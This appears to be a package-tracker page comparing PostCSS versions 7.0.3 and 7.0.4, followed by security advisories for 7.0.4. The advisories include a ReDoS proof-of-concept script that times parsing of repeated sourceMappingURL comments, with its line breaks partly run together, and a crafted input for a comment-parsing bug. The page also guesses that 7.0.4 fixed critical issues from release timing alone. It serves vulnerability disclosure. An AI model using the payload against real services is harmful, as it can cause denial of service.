PostCSS version 7.0.4 is a minor patch release following closely on the heels of version 7.0.3, both iterations serving as tools for transforming styles with JavaScript plugins. The core functionality and purpose of PostCSS remain consistent between these versions, providing developers with a powerful and flexible platform for modern CSS workflows. Both versions bundle the same key dependencies, including Chalk for colorful console output, Source Map for debugging, and Supports Color for detecting terminal color capabilities. The MIT license ensures open-source usability and contribution.
While the dependencies listed are identical, a subtle difference is observed in the dist object. Version 7.0.4 has an unpacked size of 593703 bytes compared to version 7.0.3's 593601 bytes. This variance implies internal code adjustments, bug fixes, or minor performance enhancements introduced in 7.0.4, although the specific nature of these changes isn't explicitly stated.
The release dates show a very short time, less than 48 hours between the 2 versions, which indicate that the newest was released to fix some critical issues from the previous one.
For developers already using PostCSS 7.0.3, upgrading to 7.0.4 should be a seamless process. For new users, adopting 7.0.4 ensures leveraging the most recent iteration addressing potential issues from the prior release.
All the vulnerabilities related to the version 7.0.4 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
Regular Expression Denial of Service in postcss
The npm package postcss from 7.0.0 and before versions 7.0.36 and 8.2.10 is vulnerable to Regular Expression Denial of Service (ReDoS) during source map parsing.
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.